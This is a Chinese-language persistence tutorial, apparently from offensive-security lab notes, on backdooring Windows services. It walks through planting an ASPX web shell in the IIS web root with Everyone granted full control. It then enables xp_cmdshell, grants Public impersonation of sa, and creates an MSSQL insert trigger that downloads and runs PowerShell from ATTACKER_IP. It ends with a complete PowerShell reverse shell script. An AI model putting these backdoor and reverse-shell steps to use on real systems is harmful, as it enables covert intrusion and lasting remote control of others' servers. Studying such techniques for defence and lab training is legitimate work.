使用 web

:::info 在 web 服务器中实现持久化的通常方法是将 web shell 上传到 web 目录。这很简单,将授予我们访问 IIS 中配置用户的权限,默认情况下是 iis apppool\defaultapppool. 即使这是一个非特权用户,它也有特殊的SeImpersonatePrivilege

:::

我们上传 webSHELL 到服务器目录

  1. C:\> move shell.aspx C:\inetpub\wwwroot\
  2. # 赋予权限
  3. C:\>icacls shell.aspx /grant Everyone:F

然后访问目标即可

利用现有服务 - 图1

利用 MSSQL 作为后门

:::info 有多种方法可以在 MSSQL Server 安装中植入后门。现在,我们将研究其中一个滥用触发器的情况。简单地说, MSSQL 中的触发器允许您绑定在数据库中发生特定事件时要执行的操作。这些事件的范围可以从用户登录到数据被插入、更新或从给定表中删除。对于此任务,我们将为向数据库中的任何 INSERT 创建一个触发器 HRDB

:::

在创建触发器之前,我们必须首先在数据库上重新配置一些东西。首先,我们需要启用 xp_cmdshell存储过程。xp_cmdshell是任何 MSSQL 安装中默认提供的存储过程,允许您直接在系统控制台中运行命令,但默认情况下禁用。

要启用它,让我们打开Microsoft SQL Server Management Studio 18,从开始菜单可用。当要求身份验证时,只需使用Windows 身份验证(默认值),您将使用当前 Windows 用户的凭据登录。默认情况下,本地管理员帐户将有权访问所有数据库。

登陆后,当击 New Query打开编辑器:

利用现有服务 - 图2

运行以下SQL语句,启用MSSQL配置中的“高级选项”,继续启用 xp_cmdshell.

  1. sp_configure 'Show Advanced Options',1;
  2. RECONFIGURE;
  3. GO
  4. sp_configure 'xp_cmdshell',1;
  5. RECONFIGURE;
  6. GO

在此之后,我们必须确保任何访问该数据库的网站都可以运行 xp_cmdshell。默认情况下,只有具有该角色的数据库用户sysadmin才能这样做。由于预计 Web 应用程序使用受限数据库用户,因此我们可以授予所有用户权限以模拟该sa用户,即默认数据库管理员:

  1. USE master
  2. GRANT IMPERSONATE ON LOGIN::sa to [Public];

完成所有这些之后,我们终于配置了一个触发器。我们首先更改为 HRDB数据库:

  1. USE HRDB

我们的触发器将利用执行 Powershell从攻击者控制的 Web 服务器 xp_cmdshell下载并运行文件。.ps1触发器将配置为在 INSERT将 an 放入Employees数据库表中时执行 HRDB

  1. CREATE TRIGGER [sql_backdoor]
  2. ON HRDB.dbo.Employees
  3. FOR INSERT AS
  4. EXECUTE AS LOGIN = 'sa'
  5. EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
  1. $client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);
  2. $stream = $client.GetStream();
  3. [byte[]]$bytes = 0..65535|%{0};
  4. while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  5. $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  6. $sendback = (iex $data 2>&1 | Out-String );
  7. $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  8. $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  9. $stream.Write($sendbyte,0,$sendbyte.Length);
  10. $stream.Flush()
  11. };
  12. $client.Close()

开启监听即可获取 SHELL